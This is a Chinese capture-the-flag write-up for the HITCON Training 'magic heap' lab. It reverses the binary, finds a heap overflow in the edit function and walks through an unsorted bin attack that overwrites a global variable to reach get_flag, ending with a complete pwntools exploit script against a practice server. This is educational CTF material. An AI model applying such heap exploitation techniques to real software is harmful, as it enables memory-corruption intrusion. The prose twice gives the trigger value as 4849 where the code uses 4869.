zoukankan      html  css  js  c++  java
  • HITCON Training lab14 magic heap 堆技巧unsroted bin attack

    常规检查

    逆向分析

    --------------------------------
           Magic Heap Creator       
    --------------------------------
     1. Create a Heap               
     2. Edit a Heap                 
     3. Delete a Heap               
     4. Exit                        
    --------------------------------
    Your choice :
    
    

    create_heap 函数

    unsigned __int64 create_heap()
    {
      signed int i; // [rsp+4h] [rbp-1Ch]
      size_t size; // [rsp+8h] [rbp-18h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      for ( i = 0; i <= 9; ++i )
      {
        if ( !heaparray[i] )
        {
          printf("Size of Heap : ");
          read(0, &buf, 8uLL);
          size = atoi(&buf);
          heaparray[i] = malloc(size);
          if ( !heaparray[i] )
          {
            puts("Allocate Error");
            exit(2);
          }
          printf("Content of heap:", &buf);
          read_input(heaparray[i], size);
          puts("SuccessFul");
          return __readfsqword(0x28u) ^ v4;
        }
      }
      return __readfsqword(0x28u) ^ v4;
    }
    
    • heaparray 数组:存放 chunk 的首地址。
    • read_input 函数:把我们输入的内容写入 chunk 中。

    edit 函数

    int edit_heap()
    {
      __int64 v1; // [rsp+0h] [rbp-10h]
      size_t v2; // [rsp+8h] [rbp-8h]
    
      printf("Index :");
      read(0, &v1 + 4, 4uLL);
      LODWORD(v1) = atoi(&v1 + 4);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( !heaparray[v1] )
        return puts("No such heap !");
      printf("Size of Heap : ", &v1 + 4, v1);
      read(0, &v1 + 4, 8uLL);
      v2 = atoi(&v1 + 4);
      printf("Content of heap : ", &v1 + 4, v1);
      read_input(heaparray[v1], v2);
      return puts("Done !");
    }
    

      可以再次编辑 chunk 的内容,而且可以选择输入大小。如果我们这次输入的 size 比创建时大的话,就会导致堆溢出

    delete 函数

    int delete_heap()
    {
      int v1; // [rsp+8h] [rbp-8h]
      char buf; // [rsp+Ch] [rbp-4h]
    
      printf("Index :");
      read(0, &buf, 4uLL);
      v1 = atoi(&buf);
      if ( v1 < 0 || v1 > 9 )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( !heaparray[v1] )
        return puts("No such heap !");
      free(heaparray[v1]);
      heaparray[v1] = 0LL;
      return puts("Done !");
    }
    

      释放对应 index 的 chunk,并将数组 heaparray 对应的地址置 0。

    main 函数

        if ( v3 > 3 )
        {
          if ( v3 == 4 )
            exit(0);
          if ( v3 == 4869 )
          {
            if ( magic <= 0x1305 )
            {
              puts("So sad !");
            }
            else
            {
              puts("Congrt !");
              get_flag();
            }
          }
    

      magic 为在 bss 段的全局变量,如果我们能够控制 v3 为 4849 并且覆写 magic 使其值大于 0x1305 ,就能 get flag 。

    整体思路

      首先通过 unsorted bin attack 覆盖 magic 为一个很大的值,然后然后输入使 v3 等于 4849 既可以进入 get flag 函数拿 shell。

    利用过程

    create_heap(0x20, "dada")  # 0
    create_heap(0x80, "dada")  # 1
    # in order not to merge into top chunk
    create_heap(0x20, "dada")  # 2
    
    del_heap(1)
    
    magic = 0x6020a0
    fd = 0
    bk = magic - 0x10
    
    edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
    

      首先创建三个 chunk ,chunk 2 是为了防止 free chunk 1 的时候 chunk 1 与 top chunk 合并,然后我们 free 掉 chunk 1 , chunk 1 大小大于 global_max_fast ,所以 free 掉之后会进入 unsorted bin 。然后我们通过 chunk 0 溢出覆写 chunk 1 的 bk 指针,此时 heap 情况如下

    gdb-peda$ parseheap
    addr                prev                size                 status              fd                bk                
    0x2502000           0x0                 0x30                 Used                None              None    chunk 0
    0x2502030           0x0                 0x90                 Freed                0x0          0x602090    chunk 1  
    
    
    gdb-peda$ x /12xg 0x2502000
    0x2502000:	0x0000000000000000	0x0000000000000031    chunk 0
    0x2502010:	0x6161616161616161	0x6161616161616161
    0x2502020:	0x6161616161616161	0x6161616161616161    
    0x2502030:	0x0000000000000000	0x0000000000000091    chunk 1
    0x2502040:	0x0000000000000000	0x0000000000602090    bk
    0x2502050:	0x0000000000000000	0x0000000000000000
    

      可以发现,我们已经成功把 chunk 1 的 bk 指针覆写 为 magic - 0x10

    create(0x80,'aaaa')
    

      然后我们再次创建与 chunk 1 同样大小的 chunk ,被 free 掉的 chunk 1 就会从 unsorted bin 中取出,做脱链操作

    unsorted_chunks(av)->bk = bck = victim->bk = magic - 0x10;
    bck->fd  = *(magic - 0x10 + 0x10) = unsorted_chunks(av);
    
    

      即我们向 magic 写入了一个 大于 0x1305 的值(unsorted bin 链表头地址),然后我们再次 malloc 与 unsorted bin 一样大小的块就可以进入 get_flag 成功拿 shell 。

    拿 shell get flag

    exp 脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('magicheap')
    pdbg.remote('node3.buuoj.cn',29077)
    pdbg.local()
    r = pdbg.run('remote')
    
    def create(size,content):
    	r.recvuntil(':')
    	r.sendline('1')
    	r.recvuntil(':')
    	r.sendline(str(size))
    	r.recvuntil(':')
    	r.sendline(content)
    
    def edit(idx,size,content):
    	r.recvuntil(':')
    	r.sendline('2')
    	r.recvuntil(':')
    	r.sendline(str(idx))
    	r.recvuntil(':')
    	r.sendline(str(size))
    	r.recvuntil(':')
    	r.sendline(content)
    
    def delete(idx):
    	r.recvuntil(':')
    	r.sendline('3')
    	r.recvuntil(':')
    	r.sendline(str(idx))
    
    create(0x20,'aaaa')
    create(0x80,'bbbb')
    create(0x20,'cccc')
    
    #gdb.attach(r)
    
    delete(1)
    
    #gdb.attach(r)
    
    magic = 0x6020a0
    fd = 0
    bk = magic -0x10
    
    edit(0,0x40,'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) 
    
    #gdb.attach(r)
    
    create(0x80,'aaaa')
    r.recvuntil(":")
    r.sendline('4869')
    
    r.interactive()
    
    

    内容来源

    ctf-wiki-unsorted bin attack

  • 相关阅读:
    秋季总结
    PTA第一个编程题总结
    秋季学习总结
    人生路上对我影响最大的三位老师
    自我介绍
    真实的我——自我介绍
    学习总结
    寒假编程总结三
    寒假编程总结二
    寒假编程总结一
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12361438.html
Copyright © 2011-2022 走看看